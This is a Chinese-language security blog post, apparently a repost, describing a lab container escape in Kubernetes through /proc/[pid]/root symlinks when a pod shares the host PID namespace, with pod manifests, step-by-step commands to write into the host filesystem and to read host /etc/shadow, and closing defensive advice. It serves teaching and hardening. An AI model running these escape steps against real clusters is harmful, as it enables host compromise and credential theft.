利用共享 PID 中符号链接逃逸

admin 2024年2月3日20:18:47评论25 views字数 1683阅读5分36秒阅读模式

前言

当一个容器共享宿主机 PID namespace、且以 uid 为 0 运行(没有启用 user namespace、没有添加任何额外的 capabilities)时,可以利用某些进程的 /proc/[pid]/root 符号链接实现容器逃逸。

实验1-集群容器逃逸 获取宿主机普通权限

创建一个共享宿主机 PID namespace 的 Pod

apiVersion: v1kind: Podmetadata:  name: demo  labels:    app: demospec:  hostPID: true  containers:  - name: demo    image: docker.io/library/alpine:latest    command: [ "/bin/sh", "-c", "--" ]    args: [ "while true; do sleep 30; done;" ]  dnsPolicy: ClusterFirst  restartPolicy: Always

利用共享 PID 中符号链接逃逸

在宿主机(node demo-worker)上另起一个窗口

在该窗口中以普通用户运行命令 sleep 36000,后面在 Pod 中可通过此进程访问到宿主机文件系统,

在宿主机中执行useradd -m -s /bin/bash test 新建一个普通用户 testsu - test 切换到普通用户sleep 36000

利用共享 PID 中符号链接逃逸

进入 Pod 进行操作

kubectl exec -it demo -- shsed -i 's/dl-cdn.alpinelinux.org/mirrors.ustc.edu.cn/g' /etc/apk/repositoriesapk add -U shadow

利用共享 PID 中符号链接逃逸

由于共享了宿主机的 PID,故可以看到之前在宿主机上以普通用户 test 运行的 sleep 36000 进程,需要记录一下 PID 19998,ps -ef | grep sleep

利用共享 PID 中符号链接逃逸

在 Pod 中创建一个普通用户( UID 和 GID 与上面宿主机中的普通用户 test 一样),并切换到 exp 用户中,

useradd -m -u 1000 -U expsu - exp

利用共享 PID 中符号链接逃逸

当前在 exp 用户的 shell 中,可通过此进程(sleep)访问到宿主机文件系统,

ls -l /proc/19998/root/19998 也就是上面宿主机中普通用户运行的一个 sleep 进程的 UID

利用共享 PID 中符号链接逃逸

在 Pod 中使用普通用户权限向宿主机中普通用户运行的 sleep 进程的 rootfs 写入数据,

echo "逃逸出来泥" > /proc/19998/root/tmp/test

利用共享 PID 中符号链接逃逸

在宿主机上查看一下相关路径

利用共享 PID 中符号链接逃逸

实验2-集群容器逃逸 获取宿主机 root 权限

前提

处于或者能创建一个共享宿主机 PID 且添加了 CAP_SYS_PTRACE 能力的 Pod,在该 Pod 中通过 /proc/1/root 即可访问到宿主机文件系统完成逃逸。

创建符合条件的 Pod

apiVersion: v1kind: Podmetadata:  name: demo  labels:    app: demospec:  hostPID: true  containers:  - name: demo    image: docker.io/library/alpine:latest    command: [ "/bin/sh", "-c", "--" ]    args: [ "while true; do sleep 30; done;" ]    securityContext:      capabilities:        add:          - SYS_PTRACE  dnsPolicy: ClusterFirst  restartPolicy: Always

进入 Pod 进行操作

kubectl exec -it demo -- shls -l /proc/1/root/

利用共享 PID 中符号链接逃逸

查看宿主机(node demo-worker)的敏感文件

cat /proc/1/root/etc/hostnamecat /proc/1/root/etc/shadow

利用共享 PID 中符号链接逃逸

防御

在 Kubernetes 集群中应当:

  • 容器应以非 root 用户运行

  • 禁止随意共享宿主机 PID 命名空间

  • 禁止随意授予容器 CAP_SYS_PTRACE 权限

参考文章

https://www.anquanke.com/post/id/290540

原文始发于微信公众号(安全小将李坦然):利用共享 PID 中符号链接逃逸

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月3日20:18:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用共享 PID 中符号链接逃逸https://cn-sec.com/archives/2465771.html

发表评论

匿名网友 填写信息